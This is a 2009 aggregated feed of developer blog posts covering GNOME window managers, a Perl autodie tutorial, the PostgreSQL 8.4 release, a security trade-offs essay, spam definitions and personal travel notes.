Life: It's been a busy few days, and I should have been blogging every evening in order to keep up.  (But I didn't, because I was busy.)  I've been packing and getting ready for GCDS and trying to finish off some things before I leave.  I did find time to go swimming with Rio one evening, and yesterday we all went to the fair.  I won a fluffy penguin playing darts.  (I was playing darts, not the penguin.)  Thanks to Alex for the photo on the right.

The future of Metacity: It is fairly clear that Metacity will be replaced by its fork Mutter in the near future: Mutter is effectively Metacity 3.  Although I have some loose ends to tie up in Metacity, it doesn't seem worth continuing hacking on Metacity 2 when the life is in the other fork.  In addition, there are over five hundred bugs open against Metacity, more than I (as the only active maintainer) can humanly deal with.  Mutter has far more contributors and the bugs will be far more easily dealt with.

CADT: However, this raises a problem.  I can't just close the bugs because there's a new version: that would be repeating the GNOME 2.0 mistake which jwz called "cascade of attention-deficit teenagers".  Therefore I will have to go through several hundred bugs and decide whether they are reproducible with Mutter, and if so reassign them.  This will be a long and dreary job, and if anyone wants to help out I'd be happy to assign them a block.

Nargery: There is also a discussion about whether windows should be able to indicate to compositing managers that they are still working on drawing a window, to save the compositor diving in and drawing the existing pixmap, which may be uninitialised garbage.  Some people question whether compositor-specific hints belong in the EWMH at all, or whether they belong in some separate spec.

Meme: Someone is asking "What was your first word?" Mine was "gone." My grandfather used to play a game with me when I was a baby. He would take an object, like a building block, and then hide it and say "Gone".

Links:

Syndicated 2009-07-02 02:31:28 from Monument

2 Jul 2009 marnanel   » (Journeyer)

Things that need doing on Joule

Some things that could be done to Joule, mainly for my own reference.  Not in order. I've shown the amount of work needed; I haven't ascribed an importance to any of these (though I wouldn't mind hearing your opinions).
  1. Joule is case-sensitive.  None of the systems it serves data from are case-sensitive.  This is silly.  This will probably require downtime to fix, because effective duplicates will need to be removed from the database. Medium
  2. The translation system needs a radical overhaul.  I have several ideas.  In particular, the English text should be placed within the templates, as with gettext, and not within a magic .po file; and ?lang=fr etc should be pages, not redirects, for the benefit of search engines.  Complex
  3. Controls overhaul. Easy
  4. Look into OpenSocial so we can chart Blogger and MySpace. Medium
  5. There should be a table of messages of the day.  The HTML pages should show the most recent, and the RSS feeds should show whichever was the most recent on the relevant day.  This will let us put interesting messages about new features into RSS feeds, which is the only way to contact most of our users. Medium
  6. joulestats is stable and can be run from cron: done.  Also, fix joulestats's messages for users with zillions of followers; they're less helpful than they could be. Easy
  7. Page view per day so that massive charts become at least slightly useful. Medium
  8. Add an extra column showing the total number of followers on each day, for the same reason.  This needs a current count to be returned from the XS and then we just add and subtract as we go down the line. Easy
  9. The FAQ needs to be broken out into separate pages. Easy
  10. Dreamwidth support, when this enhancement is finished. Easy
  11. Most of the Twitter and identi.ca work needs to be done in a superclass rather than duplicating code. Easy
  12. I would like a way to draw line graphs of number of followers over time.  (This is blocked by "controls overhaul".) Complex
I have a ton of other stuff to do, so Joule only gets worked on now and then.  But feel free to advocate for any particular one of these.  Also, feel free to send patches or to ask for help making them.  And I'd like to hear any other suggestions you have.

Syndicated 2009-07-01 23:50:05 (Updated 2009-07-02 14:44:49) from Monument

1 Jul 2009 ralsina   » (Master)

rst2pdf: almost sphinx-ready

Some guys at PyAr are translating the python tutorial to spanish.

That tutorial, like all the new python docs, uses sphinx.

Since sphinx is very popular, I want rst2pdf to work as well as possible as Sphinx's PDF producer. So, two different things itching, I started scratching.

Well, progress has been made. While the sphinx changes currently reside only on my computer, I will publish them soon, and the rst2pdf changes are already committed.

Here's a sample to whet your appetite.


Syndicated 2009-07-01 17:58:18 from Lateral Opinion

1 Jul 2009 pedro   » (Journeyer)

Abstraction and Trade-offs: The Devil You Know

Computer Security is kind of like a lot of things in life, where when you finally figure out the "secret" it's kind of a letdown. We want to find silver bullets for our problems, like a vegetable that is minus 1000 calories per serving (yet is packed with vitamins!), and we want to find that one get rich quick scheme or magic pill that actually works. We want that to be true so badly that whole industries are dedicated to coming up with new schemes, pills, and kitchen gadgets (SlapChop!).

We want to find the winning strategy, but sometimes we find out the answer is some disappointing koan like "the only winning move is not to play." With security, we want to come up with some scheme where we can make our networks and machines bulletproof to any attack, in any scenario. But the more you work on it and think about it, the more you're faced with economics. We still have to play the game, but life is just too short and you don't have enough resources to make everything perfect. It's almost certainly impossible even if you did have unlimited resources. (As Steven Wright said, "You can't have everything -- where would you put it?")

So what's most important to you? Are you more worried about electronic attacks? Or are you more worried about physical attacks? If you're worried about physical attacks, are you worried about your neighbor? The govenment? Aliens? Are you more worried about confidentiality or availability? Etc., etc.

If you're more worried about physical attacks, you'll probably spend a lot of time on physical security -- sensors, bunkers, acid-spitting robots. But if you're only interested in electronic security, you probably won't spend any money on additional physical security. (Most of us worry about malware and identity fraud, but how many of us have put extra locks on our doors because of it?)

At some point, you have to sit down and work it out. What threats do I think are most likely to succeed? What's my worst case scenario and how much would it cost me if it happened? Which countermeasures would be worthwhile and which ones would be a waste of time? So we make trade-offs. We don't reinforce the door to the server room, but we do encrypt the backups. We run a firewall on our router, but we still use wifi at home. We get a battery backup, but we don't get an emergency air conditioner or a halon fire suppression system.

Abstraction is just one more tool in the toolbox. And just like any tool, it has strengths and weaknesses. Yes, abstraction embeds weaknesses at levels you may not be able to control, but it also keeps you from reimplementing the wheel every day. It saves time. It makes code simpler. You have to ask yourself: "What's more likely to cause problems: an imperfect standard (with well-understood flaws that can be designed around), or a homemade solution likely to be full of unknown problems which are potentially worse? In most cases, the right choice is to be use well-known albeit imperfect systems because the alternative is so much scarier.

For me, the lesson is two-fold. First, make smart trade-offs. You're going to make trade-offs one way or the other -- if you don't know what they are, you could be making bad decisions. Second -- and this is true for everyone from the hobby hacker to (especially) people on standards task forces -- use your influence to develop and choose good abstractions. Please.

[Acknowledgment: Bruce Schneier talks a lot about trade offs. I'm certainly not trying to parrot him, but the reality of trade offs has been impressed upon me through several recent experiences, so It's on my mind. I started this long post because I wanted to talk about the problem of embedding flaws in layers through abstraction. But the truth is that abstraction is almost certainly worth the risk -- because ultimately, it's a trade off.]

Syndicated 2009-07-01 18:08:10 from (l)andscape: (a)lien

1 Jul 2009 jarod   » (Journeyer)

PostgreSQL 8.4 Lançado

Anunciado agora a pouco por Josh Berkus na lista pgsql-announce. O lançamento, se não me engano, era pra coincidir com o FISL, mas bugs de última hora atrasaram-no por uns dias.

Segue uma tradução rápida:

O Grupo de Desenvolvimento Global do PostgreSQL lançou a versão 8.4, continuando o desenvolvimento rápido do banco de dados open source mais avançado do mundo.  Essa versão contém inúmeras melhorias que tornam a administração, consulta e programação de bancos de dados PostgreSQL mais fácil que nunca.  Nosso time de desenvolvimento gastou 16 meses adicionando cerca de duzentas melhorias em todos os aspectos das funcionalidades do banco de dados, ajudando cada usuário de PostgSQL de várias formas diferentes.

Muitas das mudanças no PostgreSQL são ferramentas de administração e monitoração novas e melhoradas e novos comandos.  Cada usuário tem suas características favotiras que irão tornar o seu trabalho cotidiano com o PostgreSQL ainda mais fácil e produtivo. Entre as melhorias mais populadres estão:

  • Restauração de Banco de Dados em paralelo
  • Aumento na velocidade de recuperação de backup em até 8 vezes
  • Permissões por coluna, de forma a garantir um controle bem granular do acesso aos dados
  • Suporte de Collation por banco de dados, tornando o PostgreSQL mais útil em ambientes multi-idioma
  • Atualizações in-place (sem necessidade de backup/restores), através do pg_migrator (beta), permitindo atualização do 8.3 para o 8.4 sem um tempo muito grande de downtime
  • Novas ferramentas para monitoração de consultras, dando aos administradores uma visão mais aguçada das atividades das consultas
  • Overhead do VACUUM grandemente reduzido, através do Visibility Map
  • Novas ferramentas de monitoramento for consultas executando, carga de consultas e deadlocks

A versão 8.4 também torna a análise de dados mais fácil através das cracterísticas avançadas do padrão SQL ANSI 2003 de windowing functions, common table expressions e consultas recursivas. Melhorias para procedimentos armazenados, como parâmetros padrão e parâmetros variáveis, tornam a programação do servidor de banco de dados mais simples e mais compacta. E é claro, também foram incluídas melhorias de performance nessa versão.

Baixe a versão 8.4 hoje e comece a usar e desfrutar do PostgreSQL ainda mais!

* Download PostgreSQL 8.4
http://www.postgresql.org/download/

* Release Notes
http://www.postgresql.org/docs/8.4/static/release-8-4.html

* List of 8.4 Features
http://www.postgresql.org/about/press/features84.html

* Press Release
http://www.postgresql.org/about/press/presskit84.html.br

Syndicated 2009-07-01 15:59:31 (Updated 2009-07-01 16:07:51) from devlog

1 Jul 2009 shlomif   » (Master)

Tech Tip: Finding CPAN Distributions that only have a Build.PL

A few times in the past, I wanted to find perl 5 CPAN distributions that only had a Module-Build-based Build.PL file and not a fallback Makefile.PL file. Yesterday, after some trial and error, I was able to formulate Yahoo Search query, to do just that.

Here it is - the shortened URL with a hyperlink to the full one:

http://xrl.us/bezbkx - Yahoo Search to find Build.PL only distributions

It works by looking for specific phrases in the /dist pages, looking for "Build.PL" and specifically excluding "Makefile.PL". I hereby place this URL and whatever associated techniques under CC0 / Public Domain. Enjoy!

Syndicated 2009-07-01 15:27:35 from shlomif

1 Jul 2009 Uraeus   » (Master)

Syntax Era

So the BBC is making a new drama series about the battle between the ZX spectrum and the BBC Micro. Currently codenamed ‘Syntax Era’. As it turns out Clive Sinclair, the creator of the ZX Spectrum, had his offices either in the exact same place or very close to the current Collabora office here in Cambridge. And due to our own Edward Hervey knowing some of the people involved, the production team behind this new series came by our offices to do some location scouting some weeks ago. It is a little bit up in the air if they are going to use our offices or not in the end, but there is a chance they will, and if that happens there is also chance you might catch some familiar faces as extras in this new series :)

Syndicated 2009-07-01 15:54:04 from Christian Schaller

1 Jul 2009 jarod   » (Journeyer)

Sourceforge usando turbogears?

A lot of new web frameworks don't work that well scalability-wise. Many design decisions don't work that well. Too small sql queries and so. Mostly because of something called the active record pattern. There's a one-on-one mapping between objects and database tables. With the help of sqlalchemy, turbogears 2.0 uses a better mechanism: eager, lazy and dynamic object graphs. The data mapper pattern. Sourceforge is going to use/is already using turbogears for most of their pages!

Retirado de http://reinout.vanrees.org/weblog/2009/07/01/ep-turbogears.html, grifo meu.

Syndicated 2009-07-01 14:33:11 from devlog

1 Jul 2009 quad   » (Journeyer)

The Jollyboys in Livingstone were the nicest lodging we’ve...

<summary type="xhtml">


The Jollyboys in Livingstone were the nicest lodging we&#x2019;ve thus found. Too nice, in fact.

I was put off by the seasonal clientele of tanning college and high-school students. Neither seemed interested in leaving the walls of the compound except to see the big five on organized tours or get an altruism high by building schools. Both seemed very interested in the cheap alcohol and expensive variations of western food.

It doesn&#x2019;t help that I had my camera stolen&#x2014; likely by Americans.

But, the Jollyboys lodging was excellent. And, the staff were kind and helpful.

Highly recommended!

</summary>

Syndicated 2009-07-01 13:25:55 from David Ryland Scott Robinson

1 Jul 2009 chbm   » (Journeyer)

The value of a download

<content type="application/xhtml+xml" xml:base="http://chbm.net" xml:lang="en" xml:space="preserve" mode="xml">

A Minnesota court says each downloaded song is worth 80000USD. That&#x2019;s a lot of money for a song, but how does it relate to real world things ? Say, body parts.
Luckily, the state of Connecticut puts a value on lost body parts to help us make sense of the court&#x2019;s decision. According to SimplyHired the average salary in Connecticut is 884 USD/week. Let&#x2019;s round it down to 800USD/week cause high salary lawyers seldom lose a thumb and figure out what&#x2019;s worth 100 weeks compensation.
One good candidate is loss of hearing in both ears for 104 weeks. Losing a penis, uterus or vagina can also go up to 104 weeks. The 4 finger menu is worth 103 weeks. But in my opinion the 2 fingers and one nose menu is the winner at exactly 100 weeks.

So, in summary, illegally downloading a song inflicts the same damage as the loss of two fingers and one nose.

</content>

Syndicated 2009-07-01 13:08:00 from c h b m . n e t

1 Jul 2009 olea   » (Master)

El mejor es quien se crea sus propias oportunidades

Hoy ya no es noticia que el  presidente de Brasil Lula da Silva asistió al 10º Foro Internacional de Software Libre. Tampoco es noticia la energía con la que Brasil se sube al carro del software abierto. Lo que me ha llamado la atención es la nota de prensa que emite el Centro Nacional de Tecnologías de la Información venezolano y la cita que le atribuye:

«Estamos descubriendo que ninguno es mejor que nosotros. Solamente necesitamos oportunidades»

La primera frase me parece ¿gloriosa? no, dejémosla en expresiva. Sobre la segunda ya no la tengo tan clara. Las oportunidades, máxime en el caso de una administración pública en el siglo digital, las crea uno mismo como ya decía Gou Zhongwen, viceministro chino de Industria de la Información:

«But the market cannot be developed on a large scale without government support.»

Las razones de por qué la administración pública debe adoptar modelos abiertos de adquisición del software también son ya del dominio público (permitidme el autobombo al decir que pocos las han recogido tan concisamente). Lo que todavía no parece del todo claro es que estas mismas administraciones y los dichos modelos no son solamente de adopción y «productización». Lo son a todo lo largo de la cadena de valor del software, directamente a través de sus propios técnicos o a través de sus proveedores. En la jerga diríamos «contribuir al upstream» o directamente: «ser upstream».

Nadie es mejor que nosotros. O nosotros somos tan buenos como cualquiera. El siglo digital nos ofrece las ventajas de hacer nuestras las TIC a todo lo ancho y largo de la mencionada cadena a unos costes irrisorios comparados con otros sectores; el primero que me viene a la mente es el aeroespacial, donde Europa es particularmente competitiva, casos de Arianespace o Airbus, a pesar de los carísimos costes y los riesgos enormes: recordemos cómo explotaron los dos primeros lanzamientos de los exitosos cohetes Ariane V.

Mi ejemplo favorito siempre es gvSIG, de la Consejería de Infraestructuras y Transporte de la GVA. Y afortundamente no es el único:  desde ayer las voces sintéticas en español desarrolladas a instancia de la Junta de Andalucía, Hispavoces, ya se distribuyen también en Fedora 11 (pal y sfl).

El contraejemplo, el antipatrón, lo tenemos también en casa, nuestro propio presidente, que ante la probablemente feliz ocurrencia de digitalizar la educación en España fracasa horrorosamente con la implementación anacrónica, costosa, y ni innovadora ni productiva (atento: palabras de moda).

Syndicated 2009-07-01 11:42:00 from Ismael Olea

1 Jul 2009 slef   » (Master)

Digital Britain Report: first glance

The Digital Britain Report was published on 16 June 2009. I only got time to look at it quickly recently because this is one of the co-op AGM seasons.

At first glance, it misses the mark. It doesn’t do anything to unlock Digital Britain and make us a more sharing and social place. From failing to open the 3G mobile networks to the Phone Co-op and other operators completely (they describe it as already being “highly competitive” - haven’t they visited a South West “notspot”?), through the unnecessary increase in protection for Star Wars’s foreign owners, right down to the continued support for Adobe on the report download site instead of third-sector-produced pdfreaders.org, it looks like the report won’t stop us being “Digital Divide Britain”.

I also have my suspicions about the effect of the “DAB-only from the end of 2015″ decision on our community radio companies, but I’ve not been active in that sector for years and there’s a further consultation about that.

Ultimately, “the Government believes piracy of intellectual propert for profit is theft and will be pursued as such through the criminal law” is the killer phrase in this report. The concept of being allowed to file-share without payment doesn’t even appear in the same section. I’ve been warning about these “New Enclosure” attempts for years: I didn’t expect the Digital Britain report to be such a leap towards them.

I think many of these problems could have been avoided if digital production cooperatives had been included in the preparation of this report in any significant way. I feel it has been captured by the private sector and a few trading funds, to the detriment of the nation. Shouldn’t we expect better from a Labour and Co-operative government?

What did you think of the report? What else am I missing? Seen any good reviews of it for free software fans or cooperators?

Syndicated 2009-07-01 07:12:17 from Software Cooperative News

1 Jul 2009 pjf   » (Journeyer)

Autodie 2.00 released
This weekend the long awaited autodie 2.00 for Perl was released to the CPAN, which was almost immediately replaced by 2.02, which fixes some oopsed tests and which adds a couple more features to give us a really sweet experience. This blog entry assumes you're using 2.02.

Observant viewers will notice that the major version number has changed. I've taken the great leap from 1.999 to 2.00. Clearly, something is different, and you might be wondering what.

Well, autodie 2.0 now supports a hinting interface for user-defined subroutines. Put simply, if you have a user-defined subroutine that does something funny to signify failure, you can now tell autodie about that. Once it knows, it can Do The Right Thing when checking your subroutine. You can even put the hints into the same file as those subs, and if someone is using autodie 2.00, it will find the hints and use them.

This may not sound very exciting, but it is. It means that a lot of really ugly error-checking code, both on the CPAN and the DarkPAN, can go away. Lexically. Still not convinced this will change your life? Let's look a little more closely; trust me, you'll like it.

Let's pretend you're working on a piece of legacy code. For some reason, the people who wrote this code decided the best way to signal errors is by returning the list (undef, "Error message"). I don't know why, but I've seen this anti-pattern emerge independently in three 100k+ line projects I've been involved in.

sub some_sub {
    if ( not batteries_full() ) {
        return ( undef, "insufficient energy" );
    }

    if ( not coin_inserted() ) {
        return ( undef, "insufficient credit" );
    }

    my @results = some_calculation();

    return @results;
}

If you want to check to see if some_sub() returns an error, you need to capture its return values, look at the first one to see if it's undefined, and if it's not, use the second one as your error. At least, that's what you're supposed to do.

What actually happens is most developers decide that's way too hard, and don't bother checking for errors. Then one day, the batteries on your doomsday-asteroid-destroying-satellite go flat, nobody notices, and through an ironic twist of fate you're left as the last known human survivor, and there are zombie hordes and walking killer plants outside.

So, how can autodie help us? Well, before version 2.00, it couldn't. But now, with autodie::hints, it can! We can give autodie hints about how the return values are checked. They look like this:

use autodie::hints;

autodie::hints->set_hints_for(
    'Some::Package::some_sub' => {
        scalar => sub { 1 },
        list   => sub { @_ == 2 and not defined $_[0] },
    },
);

Our hints here are simple subroutines. If they return true, our subroutine has failed. If they return false, it's executed successfully. Notice that our scalar hint always returns true. That's because we consider any call of our subroutine in scalar context to be a mistake. It's returning a list of values, and you should be checking that list.

Once we've set our hints, we can then use autodie to automatically check if we're successful:

use Some::Module qw(some_sub);

sub target_asteroid {

    use autodie qw( ! some_sub );

    # autodie has lexical scope, so only calls to some_sub inside
    # the target_asteroid subroutine are affected.

    my @results = some_sub();     # Succeeds or dies
}

sub target_ufo {
    my @results = some_sub();

    # autodie is out of lexical scope, so we have to manually
    # process @results here.
}

If you're wondering what that exclamation mark means, it means "insist on hints", and is a new piece of syntax with autodie 2.00. If for any reason autodie can't find the hints for some_sub, our code won't compile. That's a very good thing, and avoids us having a false sense of security if we use autodie on an unhinted sub.

However the error messages from autodie aren't really that useful. They're going to be things like "Can't some_sub() at space_defense.pl line 53". There's a noticable lack of explanation as to why some_sub() failed.

Luckily, since the way early versions of autodie, we've been able to register message handlers. And with the new features in autodie 2.02, we can produce very rich messages. Let's see how!

use autodie::exception;

autodie::exception->register(
    'Some::Module::some_sub' => sub {
        my ($error) = @_;

        if ($error->context eq "scalar") {
             return "some_sub() can't be called in a scalar context";
        }

        # $error->return gives a list of everything our failed sub
        # returned.  We know this particular sub puts the error
        # message the second argument (index 1).

        my $error_msg = $error->return->[1];

        return "some_sub() failed: $error_msg";
    }
);

Now, whenever some_sub() fails, it'll print a genuinely useful message, like "some_sub() failed: Insufficient energy at space_defense.pl line 53". Yes, autodie automatically adds the file and line number for you. Nice!

But wait, there's more! We don't want to see this sort of code floating around in your programs. You may be dealing with other people's modules that you can't modify, so we can't hide all this configuration in there. So, we can write our own pragma that contains all this info. Here's the full code for a theoretical my::autodie pragma, and is the exact same code used by the t/blog_hints.t file in autodie's test suite.

package my::autodie;
use strict;
use warnings;

use base qw(autodie);
use autodie::exception;
use autodie::hints;

autodie::hints->set_hints_for(
    'Some::Module::some_sub' => {
        scalar => sub { 1 },
        list   => sub { @_ == 2 and not defined $_[0] }
    },
);

autodie::exception->register(
    'Some::Module::some_sub' => sub {
        my ($E) = @_;

        if ($E->context eq "scalar") {
            return "some_sub() can't be called in scalar context";
        }

        my $error = $E->return->[1];

        return "some_sub() failed: $error";
    }
);

1;

It works exactly the same as regular autodie, except it also knows how to handle some_sub(), and display good looking error messages. Here's how we'd use it:

use Some::Module qw(some_sub);
use my::autodie qw( ! some_sub );

my @results = some_sub();  # Succeeds or dies with a useful error!

There's a lot more you can do with autodie, and if you want to learn more, I'd suggest coming to my talk at OSCON or YAPC::EU, where I'll be covering all this and more, with a distinctive Star Trek twist. ;)

30 Jun 2009 StevenRainwater   » (Master)

June is gone already!?

Yes, it's June already and feel like I haven't gotten anything done. Work has been taking up most of my time. Since I last posted I've been to A-Kon 2009. I shot few A-Kon cosplay photos plus a few time exposures of the A-Kon Friday night rave. I also shot a few photos at Jerry Chevalier's 2009 Texas Build Off, a cool event where movie robot replica builders from all over the world gather to show off their robots and, more importantly, share building techniques and help each work on robots.

I've never managed to blog much more than a couple of times a month, so if anyone reading this actually cares what I'm up to, you might want to follow me on twitter or check my canonical home page where you can see the relatively frequent photo stream updates from my crappy mobile phone camera. By the way, if you're looking for other robot builders to follow on twitter, check out Wired's list of 52 Robot Geeks on Twitter.

Speaking of twitter, I really need to find a good way to get that integrated into mod_virgule. And speaking of mod_virgule, I once again completely failed to find time to work on it. But I've exchanged some email with another programmer who might be brave enough to start doing some hacking on the code, so maybe that will get me motivated in July!

30 Jun 2009 mikal   » (Journeyer)

The Wild Palms Hotel

When leaving the US, I stayed in the Wild Palms Hotel. I selected it for three reasons: I'd stayed there before; it is part of the Joie De Vivre chain which I have had good experiences with before; and it was very cheap on Expedia ($77 compared to an average rate in the area of about $150). I learnt some interesting things I thought I'd share:

  • The hotel is ok, just make sure you get an upstairs room. I was woken by mating elephants at 5am two days running because the floors are so thin. Be the mating elephant, not the victim of it! Once I moved to an upstairs room this probably went away.
  • The executive rooms aren't worth it. I got moved into one of these because of the noise problems. Its advantages was it was away form the road, had a bathrobe (really), and a LCD TV. I don't watch TV much, so the extra cost if I was paying isn't worth it.
  • The cleaning service kept "short sheeting" the bed. By short sheeting I mean pulled the sheets up to make the top of the bed look impressive, but leaving the bottom couple of inches of the mattress uncovered. Lots of hotels do this, and I find it crazily annoying.
  • The air conditioner was insanely loud. It was 38 when I was staying there, and every time the air conditioner kicked in I would be woken up by it.
  • Its a lot further south than I realized. It took about 20 minutes to get to work if you took El Camino. Depending on traffic its probably much faster to go all the way to the 101 and then take that. The Lawrence Expressway looks like the best way to get to the 101 from the hotel.


So, overall this hotel was "ok", apart from some minor annoyances. I'll keep staying there so long as they're cheap. If they're not running a special, then you're much better off staying further north.

Tags for this post: travel(S) usa(S) california(S) sunnyvale(S)

Comment

Syndicated 2009-06-30 14:25:00 from stillhq.com : Mikal, a geek from Canberra living in Silicon Valley (no blather posts)

30 Jun 2009 fabrice   » (Journeyer)

VCAT ingénieur informaticien à la Réunion [v008]

VCAT ingénieur informaticien à la Réunion [v008].

Syndicated 2009-06-30 19:37:40 from Fabrice's weblog

30 Jun 2009 katzj   » (Master)

Repeating the cycle, time to kill rhpl

Continuing on the historical vein, once upon a time there was a package included in Red Hat Linux called pythonlib. One of the things I helped do was to finish killing it off. We went along and then a few releases later, wanted to share some python code again. Thus was born rhpl – the Red Hat Python Library. It started out simply enough — some wrappers for translation stuff and one or two other little things. And then it began to grow, as these things do over time. Some of the things made sense, some less so. Over time, pieces have moved around into other things (including rhpxl — the Red Hat Python Xconfig library)

Fast-forward to today and it’s a bit of a mess with things contributed by various people and used in one config tool (or two) and barely maintained. Also a lot of the things being wrapped have gotten a lot better in the python standard library. The gettext module is leaps and bounds better than the one from python 1.5 and also the subprocess module is awesome for spawning processes.

Therefore, I think it’s time to continue the cycle and kill off rhpl for Fedora 12. I’m starting to make patches and file them for packages using rhpl to transition them over. Help much appreciated from anyone that wants to join in.

For the rhpl.translate -> gettext case, you generally want to replace the import of _ and N_ from rhpl.translate with something like

import gettext
_ = lambda x: gettext.ldgettext(domain, x)
N_ = lambda x: x

Comments

Syndicated 2009-06-30 16:01:49 from Jeremy's Thoughts

30 Jun 2009 chalst   » (Master)

Abstraction and security
pedro writes: most people don't think about the inherent security cost of using abstractions.

I wrote an LtU story, The irreducible physicality of security properties; key point related to abstraction: "Security is non-modular: Programming languages and software engineering practices can ensure that software possesses properties helpful to security, but the properties are only meaningful in the context of a strategy to ensure a computer system satisfies its security policy".

30 Jun 2009 k   » (Journeyer)

I've been busy working on a bunch of stuff.

* The log analysis stuff is coming along nicely. Thankyou very much SQLite. I'll post a specific update or two about that when I've finished fixing the bugs I've introduced.

* I've modified the pygrub boot loader to understand FreeBSD disk labels. The hacking can be found at http://people.freebsd.org/~adrian/xen/ in the bsd_pygrub directory. It turns out that the pygrub/xen UFS code is (a) Solaris UFS, (b) UFS-1- only, (c) crashes very badly when fed a FreeBSD formatted UFS1 for some reason. I'll investigate that shortly. It is one more step towards sensible FreeBSD/Xen integration though!

* I've been fixing bugs and adding features to my Squid-2 fork, Lusca. I've found and fixed a couple of nasty bugs inherited from Squid-2.HEAD (especially one to do with 304 replies not making it back to the client!) and I've started documenting how all of the transparent hijacking/intercepting code works.

30 Jun 2009 quad   » (Journeyer)

The prettiest border crossing I’ve seen is the Kazungula...

<summary type="xhtml">


The prettiest border crossing I&#x2019;ve seen is the Kazungula crossing into Zambia.

On the Botswana side, we took a morning drive through game reserves on the way to the border. The sealed road soaks up the daytime heat; and, during the night, animals will lay out to enjoy its warm surface. Their rest is finally broken by the sound of a horn&#x2014; our horns.

It&#x2019;s hard to describe how bizarre it is, watching a family of giraffe run for their lives from a bus. They scramble sideways, necks leaning precipitously. And, the only side of their radial herbivore eyes you can see are wide-open in fear.

Botswana passport control and customs are painless. You fill out a short form; and, start walking into savannah that stretches to the horizon. But, after less than a kilometre, a glistening river appears out of nowhere.

I&#x2019;m used to mountain rivers. They&#x2019;re fast, loud and found in valleys. But, the Zambezi river is 400 metres of flat, silent and blue water.

Excepting the muffled sound of the pontoon boats, slowly ferrying cars and passengers, the shores are silent.

It&#x2019;s nice.

</summary>

Syndicated 2009-06-30 13:25:14 from David Ryland Scott Robinson

30 Jun 2009 Killerbees   » (Journeyer)

Why we don't need a definition of spam

In my last, rather facetious, post I poked fun at John Levine for trying to prevent the ASRG from falling out, once again, over the definition of spam.

The catalyst for the current attempt was a post on the list that took issue with a paper I drew up (draft-irtf-asrg-criteria-00.html) a couple of years ago. At the time I attempted to define spam, but the whole review process became quickly tar-pitted in a debate in which despite the general agreement of the group the detailed differences were irreconcilable.
As one correspondent put it yesterday:
attempting to define "spam" is the very best way to ensure that a document is never finished.
So I plumped for this:
Any Message or Messages of the class of Messages which the Recipient wishes to prevent from ever being presented with. It is implicit in this definition that it is unnecessary to ever transport Spam. Spam in this context can also be defined as Messages which it is never necessary to transport. It is not in the scope of this document to attempt to distinguish or justify any more detailed definition of this term. Nor is it in the scope of this document to analyse the reasons why the Recipient wishes not to be presented with the Message or Messages.

My intention was to encapsulate some of the critieria which the ASRG applies to the ideas with which it is presented, some well reasoned but flawed, many bordering on the insane, a very few containing ideas of real merit. I set out to highlight common pitfalls, and ensure that proposals have a net benefit. Some don't. Go figure! Some would be more expensive to operate than transporting and filtering the spam would be, others appear to benefit someone, but only by passing on the real work to an innocent 3rd party.

So it occurred to me yesterday that the document is also addressing the problem of defining spam.The problem being not that a definition cannot be drafted, rather that no definition is universally agreed, and unfortunately each reason for disagreeing with any definition that I've heard has some genuine merit.

So my approach is this, if we cannot agree an academic definition of the problem, but we agree that the problem exists because we can recognise it when we see it, then perhaps we should apply the same standard to any proposed solution.

If we can agree that it smells like a solution, we don't need to agree about what the problem actually is.

Of course the risk with that approach is that by avoiding defining the detail of the problem we're never going to arrive at a solution that successfully addresses the detail , and not just the big picture, because we don't agree what the detail is.

Then again, anything which improves the big picture is beneficial, hence the success of DKIM and SPF, so this may not be a real concern.

Syndicated 2009-06-30 12:28:00 (Updated 2009-06-30 13:14:46) from Danny Angus

30 Jun 2009 Killerbees   » (Journeyer)

Quote of the [specify period]

This [specify period] sees two quotes, both of them from John R. Levine erstwhile chairman of the ASRG of the IRTF.

The first is redolent of Lewis Caroll:
I think that as soon as you start quoting the dictionary, you've lost
the argument.
The second is priceless given the context:
No, we're not going to define spam
Well done John, you do a great job, keep it up.
Have *two* awards!!

Syndicated 2009-06-30 08:17:00 (Updated 2009-06-30 10:29:05) from Danny Angus

30 Jun 2009 slef   » (Master)

Possible new word: attendocracy?

I think I’ve just made up another new word (to go alongside my pet hate lawyerbomb):

attendocracy
a whole society run mainly by meeting attendees. Usually, the meetings are basically non-discriminatory (all members may attend) and attendance is itself enough to give one power, but those not at the meeting are positively ignored (no postal ballots or elections). Choice of location, price and time of meetings is key to power in an attendocratic society.

Did this word exist? Is there another existing word for this idea? Is it the same as meetingocracy? Is there a better word for it?

I’m broadly in favour of do-ocracy (even when it doesn’t work out as I want), so I think I’ve been handling attendocracies badly. Are they worth the time?

Syndicated 2009-06-29 13:49:36 from Software Cooperative News

30 Jun 2009 braden   » (Journeyer)

Free as a dove

I have finally liberated myself from the mail storage format/layout of a particular mail client: I have set up a dovecot IMAP server. I’m using fetchmail to pull down mail from my SpamCop account and dovecot’s CMU Sieve plug-in for filtering. It seems to work quite well. I can point any IMAP client (including the one on my new iPhone 3G S) at endoframe.net and read e-mail in one centralized location.

The most painful part of this has been (and continues to be…I’m not done yet) moving e-mail from Evolution’s store to IMAP folders. I am an e-mail pack rat, which means I have several very large mail folders. Unsurprisingly, these can take some time to move. More annoyingly, Evolution tends to crash at the end of moving particularly large folders. Fortunately this hasn’t resulted in any actual data loss (yet?). It seems to crash after it’s copied everything over to the new location, during deletion of the messages at the old location.

Syndicated 2009-06-30 04:10:24 from endoframe :: log

30 Jun 2009 danbri   » (Journeyer)

NoTube scenario: Facebooks groups and TV recommendation

Short version: If the Web knows I like a TV show, why can’t my TV be more useful?

So I have just joined a Facebook group, “Spaced Appreciation Society“:

Basic Info
Type: Common Interest - Pets & Animals
Description: If you’ve ever watched (and therefore loved) the TV series Spaced, then come and pay homage to the great Simon Pegg and Jess Stevenson. “You f’ing plum”
Contact Details
Website: http://www.spaced-out.org.uk/
Location: Meteor Street

That URL is (as with many of these groups) from a site whose primary topic is the thing the group’s about. In this case, about a TV show. It’s even in the public page for that group:

<tr><td class=”label”>Website:</td>
<td class=”data”><div class=”datawrap”><a href=”http://www.spaced-out.org.uk/” onmousedown=”return wait_for_load(this, event, function() { UntrustedLink.bootstrap($(this), &quot;&quot;, event) });” target=”_blank” rel=”nofollow”>http://www.spaced-out.org.uk/</a></div></td></tr>

If I search Google (Yahoo BOSS might be wiser, they have APIs) with:

link:http://www.spaced-out.org.uk/ site:wikipedia.org

It finds me:

http://en.wikipedia.org/wiki/Spaced

Although “link:http://www.spaced-out.org.uk/ site:dbpedia.org” doesn’t find anything, some URL rewriting gets me to:

http://dbpedia.org/page/Spaced

